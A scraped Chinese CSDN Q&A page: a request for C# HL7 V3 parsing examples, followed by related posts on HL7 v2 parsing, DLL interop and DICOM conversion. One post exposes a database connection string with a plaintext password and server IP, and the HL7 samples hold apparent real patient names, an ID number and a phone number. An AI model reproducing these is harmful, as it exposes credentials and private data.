哪个大哥会用 c#解析HL7 V3

小弟刚刚接触到 HL7 V3,不怎么了解,哪个大哥给个例子。。。。。。。。。。。

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
c#连接sqlserver中不同的数据库
请问 C#怎么通过不同的参数 连接sqlserver中不同的数据库 在config中写好了连接 怎样通过参数不同 调用 。 <add key="ConnectionString" value="database=LeadHealth;Integrated Security=False;Password=lsjbe999120;server=123.126.76.119;User ID=God_hl_sj_be.z;"/> <add key="ConnectionString" value="Max Pool Size = 512;database=JF_NEWS;Integrated Security=False;Password=lsjbe999120;server=123.126.76.119;User ID=God_hl_sj_be.z;pooling=false;"/>
一个c++的方法结构体,c#调用传入结构体导出一直不对,求各位大神帮忙
struct HL7SDK_INTERFACE { void (* OnConnect) (int iBedNO); void (* OnDisconnect)(int iBedNO); void (* OnRecvHL7Msg)(int iBedNO, void * pMsg, int iLen, int iMsgType); void (* OnSendHL7Msg)(int iBedNO, void *pMsg, int iLen, int iMsgType); }; typedef struct HL7SDK_INTERFACE HL7SDK_INTERFACE, *PHL7SDK_INTERFACE; int InitHL7SDK(PHL7SDK_INTERFACE pHL7SDKInterace, enum HL7_WORK_MODE enHL7ServerMode, unsigned long ulServerIP, unsigned long ulLocalIP); 一个c++的方法结构体,c#调用传入结构体导出一直不对,求各位大神帮忙 [DllImport("HL7SDK.dll", EntryPoint = "InitHL7SDK", CallingConvention = CallingConvention.Cdecl)] public extern static int InitHL7SDK(ref SDKStruct pHL7SDKInterace, publicStruct.HL7_WORK_MODE serverMode, System.UInt32 serverIP, System.UInt32 localIP);
java 解析hl7 看下面代码 第一个循环ORC,OBR,DG1都可以取出来 但是第二个怎么取呢
package business.web.facade; import java.text.SimpleDateFormat; import ca.uhn.hl7v2.HL7Exception; import ca.uhn.hl7v2.model.Message; import ca.uhn.hl7v2.model.v24.datatype.XPN; import ca.uhn.hl7v2.model.v24.message.ORM_O01; import ca.uhn.hl7v2.model.v24.segment.MSH; import ca.uhn.hl7v2.parser.EncodingNotSupportedException; import ca.uhn.hl7v2.parser.GenericParser; import ca.uhn.hl7v2.parser.Parser; import ca.uhn.hl7v2.parser.PipeParser; import ca.uhn.hl7v2.util.Terser; public class Wang1Jianchashenqing { public static void main(String[] args) throws Exception { String msg = "MSH|^~\\&|HIS|JHIP|JHIP|JHIP|20150118160551||ORM^O01^ORM_O01|JHIP201503181524|P|2.4\r"+ "PID||300276|300276~300276~~~|0|WuGuoXiang^吴国祥||19360603000000|M|||其他事业移交直管人员^其他事业移交直管人员"+ "<12600799>||^^^^^^13429119708|||O^其他||330182D156000005000B4C5828A98E95|330126193606031311||||||||||||0||||||||河南省郑州市|河南省郑州市高"+ "新区|北京嘉和美康信息技术有限公司|软件工程师|B\r"+ "NTE|1|||^^^反复咳嗽气急 8 年,再发 9 天\r"+ "PV1|1|I|A31300^^313027^10082&呼吸内科||||314^^翁伟芳||||||||||134^^沈红卫"+ "|84|10030700||2021||||||||0|||||||||||||10082||20150118144509||||||1|V|127\r"+ "ORC|NW|1000056067|||||^^^^^4||20150118154440|||316^^陈晨|10082^^^^^^^^呼吸内科||||10082^呼吸内科|||136^1\r"+ "OBR|1|1000056067||173544^腹部(肝、胆、脾、胰)^^7^彩色多普勒超声常规检查|4|||||||10149^B 超室|||||||||||^136|7\r"+ "DG1|1|慢性阻塞性肺病||慢性阻塞性肺病||F\r"+ "ORC|NW|1000056067|||||^^^^^4||20150118154440|||316^^陈晨|10082^^^^^^^^呼吸内科||||10082^呼吸内科|||136^1\r"+ "OBR|2|1000056068||173546^泌尿系(双肾、输尿管、膀胱、前列腺、肾上腺)^^7^彩色多普勒超声常规检查|4|||||||10149^B 超室|||||||||||^136|7\r"+ "DG1|1|慢性阻塞性肺病||慢性阻塞性肺病||F\r"; //patientGender 性别 男 patientName姓名 //如果生日不为空则set年龄 19360603000000 //departmentCode挂号科室FSK001 *目前固定* //PatientType就诊类型100 *默认100 先不取了* //residentFlag住院标记 0 对应【患者分类】进行转换 //patientNo就诊编号 医保卡号 PID18 //RESERVED_001 可能是电话号码 [PID 14.7] //RESIDENT_NUM住院编号[就诊 ID 或者患者住院 ID PV119] //BED_NUM床位号 PV1 第三个 //AREA_CODE挂号诊区 PipeParser pipeParser = new PipeParser(); Message message = pipeParser.parse(msg); Terser terser = new Terser(message); String sex=terser.get("/.PID-8").equals("M")?"男":"女";//性别 System.out.println("性别:"+sex); String givenName = terser.get("/.PID-5-2");//姓名 System.out.println("姓名:"+givenName); String birthDate=terser.get("/.PID-7"); SimpleDateFormat fomater = new SimpleDateFormat("yyyyMMddHHmmss"); //String age=String.valueOf(BaseUtils.getAge(fomater.parse(birthDate)));//年龄 //System.out.println("年龄:"+age); String ybkh=terser.get("/.PID-3-1");//就诊编号 System.out.println("医保卡号:"+ybkh); String hzfl=terser.get("/.PV1-2"); String zybj=hzfl.equals("I")?"1":"0";//住院标记 System.out.println("是否住院:"+zybj); String departmentCode="FSK001";//挂号科室 String PatientType="100";//就诊类型 //String hospitalUuid = DepartmentCache.get(departmentCode).getHospitalUuid(); //String hospitalCode = HospitalCache.get(hospitalUuid).getHospitalCode();//医院 String tel=terser.get("/.PID-13-7");//电话号码 System.out.println("电话号码:"+tel); String zybh=terser.get("/.PV1-19");//住院编号 System.out.println("住院编号:"+zybh); String cwh=terser.get("/.PV1-3-3");//床位号 System.out.println("床位号:"+cwh); String ghzq="FSK001";//挂号诊区 String jcbw=terser.get("/.OBR-4-1");//检查部位 System.out.println("检查部位:"+jcbw+terser.get("/.OBR-4-2")); String sqdID=terser.get("/.OBR-4");//申请单ID System.out.println("申请单ID:"+sqdID); String s=terser.get("/.OBR-4"); } }
java 解析hl7 这里面怎么解析循环体呢ORC怎么取出呢
public static void main(String[] args) throws Exception { String msg = "MSH|^~\\&|HIS|JHIP|JHIP|JHIP|20150118160551||ORM^O01^ORM_O01|JHIP201503181524|P|2.4\r"+ "PID||300276|300276~300276~~~|0|WuGuoXiang^吴国祥||19360603000000|M|||其他事业移交直管人员^其他事业移交直管人员"+ "<12600799>||^^^^^^13429119708|||O^其他||330182D156000005000B4C5828A98E95|330126193606031311||||||||||||0||||||||河南省郑州市|河南省郑州市高"+ "新区|北京嘉和美康信息技术有限公司|软件工程师|B\r"+ "NTE|1|||^^^反复咳嗽气急 8 年,再发 9 天\r"+ "PV1|1|I|A31300^^313027^10082&呼吸内科||||314^^翁伟芳||||||||||134^^沈红卫"+ "|84|10030700||2021||||||||0|||||||||||||10082||20150118144509||||||1|V|127\r"+ "ORC|NW|1000056067|||||^^^^^4||20150118154440|||316^^陈晨|10082^^^^^^^^呼吸内科||||10082^呼吸内科|||136^1\r"+ "OBR|1|1000056067||173544^腹部(肝、胆、脾、胰)^^7^彩色多普勒超声常规检查|4|||||||10149^B 超室|||||||||||^136|7\r"+ "DG1|1|慢性阻塞性肺病||慢性阻塞性肺病||F\r"+ "ORC|NW|1000056067|||||^^^^^4||20150118154440|||316^^陈晨|10082^^^^^^^^呼吸内科||||10082^呼吸内科|||136^1\r"+ "OBR|2|1000056068||173546^泌尿系(双肾、输尿管、膀胱、前列腺、肾上腺)^^7^彩色多普勒超声常规检查|4|||||||10149^B 超室|||||||||||^136|7\r"+ "DG1|1|慢性阻塞性肺病||慢性阻塞性肺病||F\r"; //patientGender 性别 男 patientName姓名 //如果生日不为空则set年龄 19360603000000 //departmentCode挂号科室FSK001 *目前固定* //PatientType就诊类型100 *默认100 先不取了* //residentFlag住院标记 0 对应【患者分类】进行转换 //patientNo就诊编号 医保卡号 PID18 //RESERVED_001 可能是电话号码 [PID 14.7] //RESIDENT_NUM住院编号[就诊 ID 或者患者住院 ID PV119] //BED_NUM床位号 PV1 第三个 //AREA_CODE挂号诊区 PipeParser pipeParser = new PipeParser(); Message message = pipeParser.parse(msg); Terser terser = new Terser(message); String sex=terser.get("/.PID-8").equals("M")?"男":"女";//性别 System.out.println("性别:"+sex); String givenName = terser.get("/.PID-5-2");//姓名 System.out.println("姓名:"+givenName); String birthDate=terser.get("/.PID-7"); SimpleDateFormat fomater = new SimpleDateFormat("yyyyMMddHHmmss"); //String age=String.valueOf(BaseUtils.getAge(fomater.parse(birthDate)));//年龄 //System.out.println("年龄:"+age); String ybkh=terser.get("/.PID-3-1");//就诊编号 System.out.println("医保卡号:"+ybkh); String hzfl=terser.get("/.PV1-2"); String zybj=hzfl.equals("I")?"1":"0";//住院标记 System.out.println("是否住院:"+zybj); String departmentCode="FSK001";//挂号科室 String PatientType="100";//就诊类型 //String hospitalUuid = DepartmentCache.get(departmentCode).getHospitalUuid(); //String hospitalCode = HospitalCache.get(hospitalUuid).getHospitalCode();//医院 String tel=terser.get("/.PID-13-7");//电话号码 System.out.println("电话号码:"+tel); String zybh=terser.get("/.PV1-19");//住院编号 System.out.println("住院编号:"+zybh); String cwh=terser.get("/.PV1-3-3");//床位号 System.out.println("床位号:"+cwh); String ghzq="FSK001";//挂号诊区 String jcbw=terser.get("/.OBR-4-1");//检查部位 System.out.println("检查部位:"+jcbw+terser.get("/.OBR-4-2")); String sqdID=terser.get("/.OBR-4");//申请单ID System.out.println("申请单ID:"+sqdID); }
c#一段代码, 逻辑上有一句 if 有没有都可以,可是去掉就会报错堆栈溢出,加上就没事,大神帮忙看看是什么原因
string str_cnn = "provider=Microsoft.Jet.OLEDB.4.0; Data Source="; string str_stringfile = "mdb\\mydb.mdb"; OleDbCommand cmd; OleDbConnection cnn; OleDbDataReader reader; string str_sql; string str_conn = str_cnn + MapPath(str_stringfile); cnn = new OleDbConnection(str_conn); str_sql = "SELECT t_menuL0.*, t_menuL1.* FROM t_menuL1 RIGHT JOIN t_menuL0 ON t_menuL1.m1_m0id = t_menuL0.m0_id"; cnn.Open(); cmd = new OleDbCommand(str_sql,cnn); reader = cmd.ExecuteReader(); //以上是数据库的连接和读取 Panel pl_fenlei, pl_fenleixinwen, pl_cr; HyperLink hl_xiangmu,hl_fenlei; //这里定义了几个控件用来添加到前台的 下面是数据读取的循环 while (reader.Read()) { if (FindControl((div_mainm0id.ID).ToString() + "_" + reader["m0_id"].ToString()) == null) { // 用m0_id 字段创建对应控件, 但是在数据库中有重复出现,所以要检测 hl_fenlei = new HyperLink(); hl_fenlei.Text = reader["m0_ttl"].ToString(); pl_fenlei = new Panel(); pl_fenlei.ID = (div_mainm0id.ID).ToString() + "_" + reader["m0_id"].ToString(); pl_fenlei.CssClass = "fenlei"; pl_fenlei.Controls.Add(hl_fenlei); pl_fenleixinwen = new Panel(); pl_fenleixinwen.ID = "fenleixinwen" + "_" + reader["m0_id"].ToString(); pl_fenleixinwen.CssClass = "fenleixinwen"; pl_fenlei.Controls.Add(pl_fenleixinwen); div_mainm0id.Controls.Add(pl_fenlei); } hl_xiangmu = new HyperLink(); hl_xiangmu.Text=reader["m1_ttl"].ToString(); if (FindControl("fenleixinwen_" + reader["m1_m0id"].ToString())!=null) { ((Panel)FindControl("fenleixinwen_" + reader["m1_m0id"].ToString())).Controls.Add(hl_xiangmu); } // 问题就出在上面的if语句了 } cnn.Close(); ``` // 前台代码什么都没有 就定义了div标签 向标签里面添加数据 <body> <form id="form1" runat="server"> <div> <div runat="server" id="div_mainm0id"> </div> </div> <div id="div1"></div> </form> </body> ```
这是接收迈瑞BC6800 HL7中内容的一部分,图片部分怎么解析不出来?
``` // str3是下文中base64压缩后的内容 byte[] bs2 = Convert.FromBase64String(str3); MemoryStream ms3 = new MemoryStream(bs2); Image image1 = Image.FromStream(ms3); image1.Save("D:\\1.jpg"); ``` OBX|48|ED|15056^RBC Histogram. BMP^99MRC||^Image^BMP^Base64^Qk0OQgAAAAAAALYDAAAoAAAAlgAAAGkAAAABAAgAAAAAAAAAAADEDgAAxA4AAOAAAADgAAAAAAAA/zMAAP9mAAD/mQAA/8wAAP//AAD/ADMA/zMzAP9mMwD/mTMA/8wzAP//MwD/AGYA/zNmAP9mZgD/mWYA/8xmAP//ZgD/AJkA/zOZAP9mmQD/mZkA/8yZAP//mQD/AMwA/zPMAP9mzAD/mcwA/8zMAP//zAD/AP8A/zP/AP9m/wD/mf8A/8z/AP///wD/AAAz/zMAM/9mADP/mQAz/8wAM///ADP/ADMz/zMzM/9mMzP/mTMz/8wzM///MzP/AGYz/zNmM/9mZjP/mWYz/8xmM///ZjP/AJkz/zOZM/9mmTP/mZkz/8yZM///mTP/AMwz/zPMM/9mzDP/mcwz/8zMM///zDP/AP8z/zP/M/9m/zP/mf8z/8z/M////zP/AABm/zMAZv9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADXAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0tLS0tLS0tLS0tCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANcAAAAAAAAAAAAAANcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGy0tLS0tLS0tLS0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1wAAAAAAAAAAAAAA1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASLS0tLS0tLS0tJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtLS0tLS0tLS02gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANcAAAAAAAAAAAAAANcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADatLS0tLS0tLQkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1wAAAAAAAAAAAAAA1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANq0tLS0tLS0tAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADXAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2rS0tLS0tLSQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADatLS0tLS0tNoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1wAAAAAAAAAAAAAA1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEi0tLS0tLS02gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADXAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALS0tLS0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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/P8AAAAAAAAAAAAAAAGP19fX13IAAAGP19fX1toAAAAAZdfX15wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACC/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIHtAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=||||||F
这种通信协议该怎样编写
通信协议由起始字符(0xff),报文长度,命令,命令内容,校验位(CRC32,高位在前,HH,HL,LH,LL)组成
hl7消息体解析 循环遍历的问题 java版
String myHL7string = "MSH|^~\\&|HISPC||门急诊||20180628171851||RSP^Z10^RSP_Z10|002fee2b-307a-406b-809e-ccfc4840c1d3|P|2.6|||NE|AL||utf-8\n" + "MSA|AA|8ba486c3ac1d4abcb98e735d72e7582c\n" + "QAK|Z1002|||12|12|0\n" + "QPD|Z10^查询医嘱信息|Z1002|1^9000081382^^20180624235959^20180628171900\n" + "PID||9000081382|||测试^^^CE SHI||19960615000000|1\n" + "PV1||1|1300314||||ADMIN^樊翠翠||||||||||||15||||||||||||||||||||LZ001|||||20180628165903\n" + "ORC|NW|2129293|01E201806-2702248|2826230|2|1|||20180627103118|||12819^董艳芳|||||||||儿科急诊门诊^^1300314||||||||Q\n" + "TQ1|1||1&每日一次|||1.0\n" + "RXO|353F^注射用美洛西林钠舒巴坦钠|1||||6^皮试单||||||||||||||0^否\n" + "ORC|NW|487722|01E201806-2800044|628116|2|0|||20180628171215|||ADMIN^樊翠翠|||||||||儿科急诊门诊^^1300314||||||||A|||中心药房^^1401003\n" + "TQ1|1||1&每日一次|||4.0^&1|201806301000\n" + "RXO|397F^钠钾镁钙葡萄糖注射液^^500ml/袋|1||ml||8^输液单||||||||||||||0^否||3^滴/分钟\n" + "NTE|7||治疗1111111\n" + "RXR|B5^静滴\n" + "ORC|NW|487723|01E201806-2800047|628117|2|0|||20180628171232|||ADMIN^樊翠翠|||||||||儿科急诊门诊^^1300314||||||||A|||门诊西药^^1401002\n" + "TQ1|1||1&每日一次|||4.0^&1|201806291000\n" + "RXO|3DED^盐酸溴己新葡萄糖注射液^^100ml/瓶|1||ml||8^输液单||||||||||||||0^否||3^滴/分钟\n" + "NTE|7||治疗1111111\n" + "RXR|B5^静滴"; "ORC|NW|2143411|01E201806-2800186|2844311|2|0|||20180628053808|||12470^董晓知|||||||||儿科急诊门诊^^1300314||||||||A|||门诊西药^^1401002" "TQ1|1||30&每日两次|||2.0^&1|201806281000" "RXO|3572^氯化钠注射液(0.9%)^^50ml/袋|50||ml||8^输液单||||||||||||||0^否||20^滴/分钟" "RXR|B5^皮内注射"; 怎么样取出ORC 到 RXR 这两个循环里的值 第二个循环里还多一个NTE 像这种情况怎么取值啊 里面的数据全部取出来放到对应的数据库里面, NTE还要对应到相应的药品上
急急急 java 实现把bmp转换一个dcm文件,但是生成dcm文件却无法打开,求助.
代码如下 ``` import org.dcm4che3.data.Attributes; import org.dcm4che3.data.Tag; import org.dcm4che3.data.VR; import org.dcm4che3.io.DicomEncodingOptions; import org.dcm4che3.io.DicomOutputStream; import java.io.BufferedInputStream; import java.io.DataInputStream; import java.io.File; import java.io.FileInputStream; public class TwoBmp2Dcm { private static byte[] buffer = new byte[54]; private static byte[] buff = new byte[8192]; private static int imageSize; private static DicomEncodingOptions encOpts = DicomEncodingOptions.DEFAULT; public static void main(String[] args) throws Exception { File file=new File("/Users/zhangdechang/Desktop/txt/timg.bmp"); File outdcm=new File("/Users/zhangdechang/Desktop/txt/998uuuu.dcm"); DataInputStream dis=new DataInputStream(new BufferedInputStream(new FileInputStream(file))); DicomOutputStream out =new DicomOutputStream(outdcm); Attributes attrs=new Attributes(); Attributes data=new Attributes(); attrs=addMetaInformation(attrs); data=addData(data); data=readHeader(data, dis); out.writeDataset(attrs, data); out.setEncodingOptions(encOpts); out.writeHeader(Tag.PixelData, VR.OW, imageSize*2); int r; while ((r = dis.read(buff)) > 0) { out.write(buff, 0, r); } out.close(); dis.close(); } public static Attributes readHeader(Attributes attrs ,DataInputStream dis) throws Exception{ dis.read(buffer,0,54); if((buffer[0]&0xff)!=0x42&&(buffer[1]&0xff)!=0x4d){ throw new Exception("Missing BM segment in Bmp stream"); } int imageRows=byteToInt(buffer,21); int imageColumns=byteToInt(buffer,25); imageSize=byteToInt(buffer,5)-54; int biBitCount=byteTo2Int(buffer,29); attrs.setInt (Tag.SamplesPerPixel, VR.US,3); attrs.setInt(Tag.Rows, VR.US, imageColumns<0?-imageColumns:imageColumns); attrs.setInt(Tag.Columns, VR.US, imageRows); attrs.setInt(Tag.BitsAllocated, VR.US,biBitCount );//biBitCount attrs.setInt(Tag.BitsStored, VR.US,32); attrs.setInt(Tag.HighBit, VR.US, 32); attrs.setInt(Tag.PixelRepresentation, VR.US, 0); attrs.setString(Tag.PhotometricInterpretation,VR.CS, "MONOCHROME2"); //PALETTE_COLOR MONOCHROME2 attrs.setString(Tag.RescaleSlope, VR.DS, "1.0"); attrs.setString(Tag.RescaleIntercept, VR.DS, "0.0"); attrs.setString(Tag.PixelSpacing,VR.DS, "0.25/0.25"); attrs.setInt(Tag.NumberOfFrames, VR.IS, 1); return attrs; } public static Attributes addData(Attributes attrs){ attrs.setString(Tag.SpecificCharacterSet, VR.CS, "GB18030"); attrs.setString(Tag.ImageType, VR.CS, "ORIGINAL/PRIMARY/AXIAL"); attrs.setString(Tag.InstanceCreationDate, VR.DA, "20130013"); attrs.setString(Tag.InstanceCreationTime, VR.TM, "175827"); attrs.setString(Tag.SOPClassUID, VR.UI, "1.2.840.10008.5.1.4.1.1.2"); attrs.setString(Tag.SOPInstanceUID, VR.UI, "1.3.6.1.4.1.30071.6.22744165.4288391077912169.1.3"); attrs.setString(Tag.StudyDate, VR.DA, "20130803"); attrs.setString(Tag.AcquisitionDateTime, VR.DT, "20130803000000"); attrs.setString(Tag.StudyTime, VR.TM, "175532"); attrs.setString(Tag.AccessionNumber, VR.SH, "0"); attrs.setString(Tag.Modality, VR.CS, "DX"); attrs.setString(Tag.Manufacturer, VR.LO, "LargeV"); attrs.setString(Tag.StudyDescription, VR.LO, "融合扫描图像"); attrs.setString(Tag.SeriesDescription, VR.LO, "融合扫描图像"); attrs.setString(Tag.ManufacturerModelName, VR.LO, "HighRes3D"); attrs.setString(Tag.PatientName, 